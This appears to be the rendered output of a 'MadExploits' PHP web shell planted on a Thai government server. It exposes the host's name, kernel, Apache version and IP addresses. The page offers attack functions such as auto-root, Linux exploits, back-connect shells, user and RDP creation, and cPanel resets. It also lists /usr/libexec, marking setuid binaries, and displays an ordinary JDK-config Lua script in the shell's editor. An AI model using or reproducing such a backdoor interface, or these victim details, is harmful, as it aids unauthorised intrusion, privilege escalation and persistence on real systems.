Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
awk
[ DIR ]
drwxr-xr-x
certmonger
[ DIR ]
drwxr-xr-x
emacs
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
git-core
[ DIR ]
drwxr-xr-x
gstreamer-0.10
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
mc
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
oddjob
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openscap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
perf-core
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
polkit-1
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
systemtap
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
abrt-action-generate-machine-i...
5.86
KB
-rwxr-xr-x
abrt-action-install-debuginfo-...
10.05
KB
-rwsr-xr-x
abrt-action-ureport
5.45
KB
-rwxr-xr-x
abrt-handle-event
24.01
KB
-rwxr-xr-x
abrt-hook-ccpp
41.62
KB
-rwxr-xr-x
abrt1-to-abrt2
4.02
KB
-rwxr-xr-x
copy_jdk_configs.lua
9.28
KB
-rw-r--r--
copy_jdk_configs_fixFiles.sh
5.81
KB
-rwxr-xr-x
fprintd
61.3
KB
-rwxr-xr-x
gam_server
93.82
KB
-rwxr-xr-x
gconf-defaults-mechanism
38.7
KB
-rwxr-xr-x
gconfd-2
72.83
KB
-rwxr-xr-x
gnupg-pcsc-wrapper
18.37
KB
-rwxr-xr-x
gpg-check-pattern
98.02
KB
-rwxr-xr-x
gpg-preset-passphrase
83.61
KB
-rwxr-xr-x
gpg-protect-tool
205.39
KB
-rwxr-xr-x
gpg2keys_curl
51.03
KB
-rwxr-xr-x
gpg2keys_finger
59.69
KB
-rwxr-xr-x
gpg2keys_hkp
59.48
KB
-rwxr-xr-x
gpg2keys_ldap
64.9
KB
-rwxr-xr-x
hal-storage-cleanup-all-mountp...
21.2
KB
-rwxr-xr-x
hal-storage-cleanup-mountpoint
21.61
KB
-rwxr-xr-x
hal-storage-closetray
22.38
KB
-rwxr-xr-x
hal-storage-eject
23.72
KB
-rwxr-xr-x
hal-storage-mount
35.37
KB
-rwxr-xr-x
hal-storage-unmount
22.73
KB
-rwxr-xr-x
hal-system-power-pm-is-support...
11.05
KB
-rwxr-xr-x
hal-system-power-pmu
9.71
KB
-rwxr-xr-x
hal-system-setserial
8.4
KB
-rwxr-xr-x
hald-addon-acpi
20.6
KB
-rwxr-xr-x
hald-addon-generic-backlight
21.83
KB
-rwxr-xr-x
hald-addon-hid-ups
23.57
KB
-rwxr-xr-x
hald-addon-imac-backlight
16.92
KB
-rwxr-xr-x
hald-addon-input
30.71
KB
-rwxr-xr-x
hald-addon-ipw-killswitch
22.24
KB
-rwxr-xr-x
hald-addon-leds
25.61
KB
-rwxr-xr-x
hald-addon-pmu
17.93
KB
-rwxr-xr-x
hald-addon-rfkill-killswitch
25.59
KB
-rwxr-xr-x
hald-generate-fdi-cache
25.97
KB
-rwxr-xr-x
hald-probe-hiddev
13.91
KB
-rwxr-xr-x
hald-probe-ieee1394-unit
15.98
KB
-rwxr-xr-x
hald-probe-input
13.75
KB
-rwxr-xr-x
hald-probe-net-bluetooth
16.75
KB
-rwxr-xr-x
hald-probe-pc-floppy
11.29
KB
-rwxr-xr-x
hald-probe-printer
15.95
KB
-rwxr-xr-x
hald-probe-serial
11.47
KB
-rwxr-xr-x
hald-probe-smbios
16.8
KB
-rwxr-xr-x
hald-probe-storage
46.17
KB
-rwxr-xr-x
hald-probe-video4linux
15.31
KB
-rwxr-xr-x
hald-probe-volume
45.73
KB
-rwxr-xr-x
hald-runner
22.76
KB
-rwxr-xr-x
man-cmp.sh
214
B
-rwxr-xr-x
mlx4-setup.sh
2.48
KB
-rwxr-xr-x
mysqlmanager
1.53
MB
-rwxr-xr-x
pt_chown
14.39
KB
-rws--x--x
sesh
30.27
KB
-rwxr-xr-x
sudo_noexec.so
5.8
KB
-rwxr-xr-x
sudoers.so
293.13
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.48
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : copy_jdk_configs.lua
#!/usr/bin/lua -- rpm call -- lua -- copy_jdk_configs.lua --currentjvm "%{uniquesuffix %{nil}}" --jvmdir "%{_jvmdir %{nil}}" --origname "%{name}" --origjavaver "%{javaver}" --arch "%{_arch}" --debug true --test call --lua -- copy_jdk_configs.lua --currentjvm "java-1.8.0-openjdk-1.8.0.65-3.b17.fc22.x86_64" --jvmdir "/usr/lib/jvm" --origname "java-1.8.0-openjdk" --origjavaver "1.8.0" --arch "x86_64" --debug true --jvmDestdir /home/jvanek/Desktop local caredFiles = {"jre/lib/calendars.properties", "jre/lib/content-types.properties", "jre/lib/flavormap.properties", "jre/lib/logging.properties", "jre/lib/net.properties", "jre/lib/psfontj2d.properties", "jre/lib/sound.properties", "jre/lib/deployment.properties", "jre/lib/deployment.config", "jre/lib/security/US_export_policy.jar", "jre/lib/security/unlimited/US_export_policy.jar", "jre/lib/security/limited/US_export_policy.jar", "jre/lib/security/policy/unlimited/US_export_policy.jar", "jre/lib/security/policy/limited/US_export_policy.jar", "jre/lib/security/java.policy", "jre/lib/security/java.security", "jre/lib/security/local_policy.jar", "jre/lib/security/unlimited/local_policy.jar", "jre/lib/security/limited/local_policy.jar", "jre/lib/security/policy/unlimited/local_policy.jar", "jre/lib/security/policy/limited/local_policy.jar", "jre/lib/security/nss.cfg", "jre/lib/security/cacerts", "jre/lib/security/blacklisted.certs", "jre/lib/ext", "lib/security", "conf", "lib/ext"} -- before import to allow run from spec if (arg[1] == "--list") then for i,file in pairs(caredFiles) do print(file) end return 0; end -- yum install lua-posix local posix = require "posix" -- the one we are installing local currentjvm = nil local jvmdir = nil local jvmDestdir = nil local origname = nil local origjavaver = nil local arch = nil local debug = false; local temp = nil; local dry = false; for i=1,#arg,2 do if (arg[i] == "--help" or arg[i] == "-h") then print("all but jvmDestdir and debug are mandatory") print(" --currentjvm") print(" NVRA of currently installed java") print(" --jvmdir") print(" Directory where to find this kind of virtual machine. Generally /usr/lib/jvm") print(" --origname") print(" convinient switch to determine jdk. Generally java-1.X.0-vendor") print(" --origjavaver") print(" convinient switch to determine jdk's version. Generally 1.X.0") print(" --arch") print(" convinient switch to determine jdk's arch") print(" --jvmDestdir") print(" Migration/testing switch. Target Mostly same as jvmdir, but you may wont to copy ouside it.") print(" --debug") print(" Enables printing out whats going on. true/false. False by default") print(" --temp") print(" optional file to save intermediate result - directory configs were copied from") print(" --dry") print(" true/fase if true, then no changes will be written to disk except one tmp file. False by default") print(" **** specil parasm ****") print(" --list") print(" if present on cmdline, list all cared files and exists") os.exit(0) end if (arg[i] == "--currentjvm") then currentjvm=arg[i+1] end if (arg[i] == "--jvmdir") then jvmdir=arg[i+1] end if (arg[i] == "--origname") then origname=arg[i+1] end if (arg[i] == "--origjavaver") then origjavaver=arg[i+1] end if (arg[i] == "--arch") then arch=arg[i+1] end if (arg[i] == "--jvmDestdir") then jvmDestdir=arg[i+1] end if (arg[i] == "--debug") then --no string, boolean, workaround if (arg[i+1] == "true") then debug = true end end if (arg[i] == "--dry") then --no string, boolean, workaround if (arg[i+1] == "true") then dry = true end end if (arg[i] == "--temp") then temp=arg[i+1] end end if (jvmDestdir == nil) then jvmDestdir = jvmdir end if (debug) then print("--currentjvm:"); print(currentjvm); print("--jvmdir:"); print(jvmdir); print("--jvmDestdir:"); print(jvmDestdir); print("--origname:"); print(origname); print("--origjavaver:"); print(origjavaver); print("--arch:"); print(arch); print("--debug:"); print(debug); end local function debugOneLinePrint(string) if (debug) then print(string) end; end --trasnform substitute names to lua patterns local name = string.gsub(string.gsub(origname, "%-", "%%-"), "%.", "%%.") local javaver = string.gsub(origjavaver, "%.", "%%.") local jvms = { } function getPath(str,sep) sep=sep or '/' return str:match("(.*"..sep..")") end function splitToTable(source, pattern) local i1 = string.gmatch(source, pattern) local l1 = {} for i in i1 do table.insert(l1, i) end return l1 end local function slurp(path) local f = io.open(path) local s = f:read("*a") f:close() return s end function trim(s) return (s:gsub("^%s*(.-)%s*$", "%1")) end local function dirWithParents(path) local s = "" local dirs = splitToTable(path, "[^/]+") for i,d in pairs(dirs) do if (i == #dirs) then break end s = s.."/"..d local stat2 = posix.stat(s, "type"); if (stat2 == nil) then debugOneLinePrint(s.." does not exists, creating") if (not dry) then posix.mkdir(s) end else debugOneLinePrint(s.." exists,not creating") end end end debugOneLinePrint("started") foundJvms = posix.dir(jvmdir); if (foundJvms == nil) then debugOneLinePrint("no, or nothing in "..jvmdir.." exit") return end debugOneLinePrint("found "..#foundJvms.."jvms") for i,p in pairs(foundJvms) do -- regex similar to %{_jvmdir}/%{name}-%{javaver}*%{_arch} bash command if (string.find(p, name.."%-"..javaver..".*"..arch) ~= nil ) then debugOneLinePrint("matched: "..p) if (currentjvm == p) then debugOneLinePrint("this jdk is already installed. exiting lua script") return end ; if (string.match(p, ".*-debug$")) then print(p.." matched but seems to be debug variant. Skipping") else table.insert(jvms, p) end else debugOneLinePrint("NOT matched: "..p) end end if (#jvms <=0) then debugOneLinePrint("no matching jdk in "..jvmdir.." exit") return end; debugOneLinePrint("matched "..#jvms.." jdk in "..jvmdir) --full names are like java-1.7.0-openjdk-1.7.0.60-2.4.5.1.fc20.x86_64 table.sort(jvms , function(a,b) -- version-sort -- split on non word: . - local l1 = splitToTable(a, "[^%.-]+") local l2 = splitToTable(b, "[^%.-]+") for x = 1, math.min(#l1, #l2) do local l1x = tonumber(l1[x]) local l2x = tonumber(l2[x]) if (l1x ~= nil and l2x ~= nil)then --if hunks are numbers, go with them if (l1x < l2x) then return true; end if (l1x > l2x) then return false; end else if (l1[x] < l2[x]) then return true; end if (l1[x] > l2[x]) then return false; end end -- if hunks are equals then move to another pair of hunks end return a<b end) if (debug) then print("sorted lsit of jvms") for i,file in pairs(jvms) do print(file) end end latestjvm = jvms[#jvms] if ( temp ~= nil ) then src=jvmdir.."/"..latestjvm debugOneLinePrint("temp declared as "..temp.." saving used dir of "..src) file = io.open (temp, "w") file:write(src) file:close() end local readlinkOutput=os.tmpname() for i,file in pairs(caredFiles) do local SOURCE=jvmdir.."/"..latestjvm.."/"..file local DEST=jvmDestdir.."/"..currentjvm.."/"..file debugOneLinePrint("going to copy "..SOURCE) debugOneLinePrint("to "..DEST) local stat1 = posix.stat(SOURCE, "type"); if (stat1 ~= nil) then debugOneLinePrint(SOURCE.." exists") dirWithParents(DEST) -- Copy with -a to keep everything intact local exe = "cp".." -ar "..SOURCE.." "..DEST local linkExe = "readlink".." -f "..SOURCE.." > "..readlinkOutput debugOneLinePrint("executing "..linkExe) os.remove(readlinkOutput) os.execute(linkExe) local link=trim(slurp(readlinkOutput)) debugOneLinePrint(" ...link is "..link) if (not ((link) == (SOURCE))) then debugOneLinePrint("WARNING link "..link.." where file "..SOURCE.." expected!") debugOneLinePrint("Will try to copy link target rather then link itself!") --replacing any NVRA by future NVRA (still execting to have NVRA for any multiple-installable targets -- lua stubbornly consider dash as inteval. Replacing by dot to match X-Y more correct as X.Y rather then not at all local linkDest=string.gsub(link, latestjvm:gsub("-", "."), currentjvm) debugOneLinePrint("attempting to copy "..link.." to "..linkDest) if (link == linkDest) then debugOneLinePrint("Those are identical files! Nothing to do!") else local exe2 = "cp".." -ar "..link.." "..linkDest dirWithParents(linkDest) debugOneLinePrint("executing "..exe2) if (not dry) then os.execute(exe2) end end else debugOneLinePrint("executing "..exe) if (not dry) then os.execute(exe) end end else debugOneLinePrint(SOURCE.." does not exists") end end
Close